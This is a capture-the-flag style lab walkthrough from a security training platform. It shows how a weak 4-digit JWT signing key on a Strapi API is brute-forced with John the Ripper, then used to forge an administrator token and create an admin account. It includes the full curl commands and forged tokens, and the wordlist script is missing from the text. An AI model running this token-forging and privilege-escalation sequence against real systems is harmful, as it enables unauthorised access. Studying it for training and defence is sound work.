Hacking JWT Tokens: Bruteforcing Weak Signing Key (JohnTheRipper)
In our lab walkthrough series, we go through selected lab exercises on our AttackDefense Platform. Premium labs require a subscription, but you can sign in for free to try our community labs and view the list of topics — no subscription or VPN required!
Hello all, today we will be exploring another way of hacking JWT tokens signed using weak keys. We will be using John The Ripper for determining (or rather cracking) the correct signing key!
Prerequisites:
Some basic knowledge on JWT Tokens is a prerequisite for this lab. You can learn more on JWT from the following links:
Lab Scenario
We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.
Lab: Bruteforcing: Weak Signing Key (JohnTheRipper)
This lab environment consists of a REST API running on the target machine (on port 1337) and uses JWT-based authorization. The signing key used for token generation is weak!!
Objective: Determine the secret key and leverage it to read the flag stored on the target server!
Solution:
Step 1: Check the IP address of the machine.
Command: ifconfig
The IP address of the machine is “192.144.8.2”
Therefore, the target REST API is running on 192.144.8.3, at port 1337.
Step 2: Checking the presence of the REST API.
Command: curl 192.144.8.3:1337
The response reflects that Strapi CMS is running on the target machine.
Step 3: Getting the JWT Token for user elliot.
Command: curl -H “Content-Type: application/json” -X POST -d ‘{“identifier”: “elliot”,”password”: “elliotalderson”}’ http://192.144.8.3:1337/auth/local/ | jq
The response contains the JWT Token for the user.
JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.GXWX72f5PQi4unRvF3eh6oPziUUr_iVxMyUL5NFlulU
Step 4: Decoding the token header and payload parts using https://jwt.io.
The token uses HS256 algorithm (a symmetric signing key algorithm).
Since it is mentioned in the challenge description that a weak secret key has been used to sign the token and the constraints on the key are also specified, a bruteforce attack could be used to disclose the correct secret key.
Step 5: Performing a bruteforce attack on the JWT Token secret key.
To brute-force the signing key, John The Ripper (jtr) would be used.
Checking the usage information on the tool:
Command: john
Constraints on the Signing Key: The secret key is of 4 digits, each from the range of 0 to 9.
Save the JWT Token obtained in Step 3 into a file called jwt.txt.
Command: cat jwt.txt
Generating a wordlist used for brute-forcing the signing key:
Save the following Python script as generate-wordlist.py:
Python Code:
Run the above Python script to generate the wordlist used for cracking the signing key:
Command: python3 generate-wordlist.py
Brute-forcing the signing key:
Command: john jwt.txt — wordlist=wordlist.txt — format=HMAC-SHA256
The secret key used for signing the token is “9897”.
Note: John The Ripper supports cracking the signing key for the JWT Tokens signed using the following symmetric signing algorithms: HS256, HS384, HS512.
Step 6: Creating a forged token.
Since the secret key used for signing the token is known, it could be used to create a valid token.
Using https://jwt.io to create a forged token.
Specify the token obtained in Step 3 in the “Encoded” section and the secret key obtained in the previous step in the “Decoded” section.
Notice the id field in the payload section has a value 2.
In Strapi, the id is assigned as follows:
- Administrator user has id = 1
- Authenticated user has id = 2
- Public user has id = 3
Since the signing key is already known, the value for id could be forged and changed to 1 (Administrator) and the corresponding token would be generated.
Forged Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.inohRq76BxY5pU3wML1YgiLc6rhs0Dz9fsbZ2DvnOpc
This forged token would let the user be authenticated as administrator (id = 1).
Step 7: Creating a new account with administrator privileges.
Use the following curl command to create a new user with administrator privileges (role = 1).
Command: curl -X POST -H “Content-Type: application/json” -H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.inohRq76BxY5pU3wML1YgiLc6rhs0Dz9fsbZ2DvnOpc” -d ‘{ “role”: “1”, “username”: “secret_user”, “password”: “secret_password”, “email”: “secret@email.com” }’ http://192.144.8.3:1337/users | jq
Note: The JWT Token used in the Authorization header is the forged token retrieved in the previous step.
The request for the creation of the new user succeeded.
Step 8: Login to the Strapi Admin Panel using the credentials of the newly created user.
Open the following URL in firefox:
Strapi Admin Panel URL: http://192.144.8.3:1337/admin
Step 9: Retrieving the secret flag.
Open the Secretflags content type on the left panel.
Notice there is only one entry. That entry contains the flag.
Click on that entry and retrieve the flag.
Flag: 14a4a761914c2628506feea520b7b4384a206f8c24d013
I hope you learnt another way to hack JWT Tokens by leveraging the weak signing keys used for token generation.
To avoid such issues, make sure to use a large key which is hard to guess. Otherwise, it might have serious consequences as seen above!!
Well, if you liked this post, then make sure to check out my other posts in the Hacking JWT Tokens series.
Go beyond walkthroughs with hands-on practice. Subscribe now and gain access to 2000+ lab exercises including this one! We also provide on-demand bootcamps — follow along with instructors as they go through the labs and progressively master in-demand topics regardless of time zone!
References: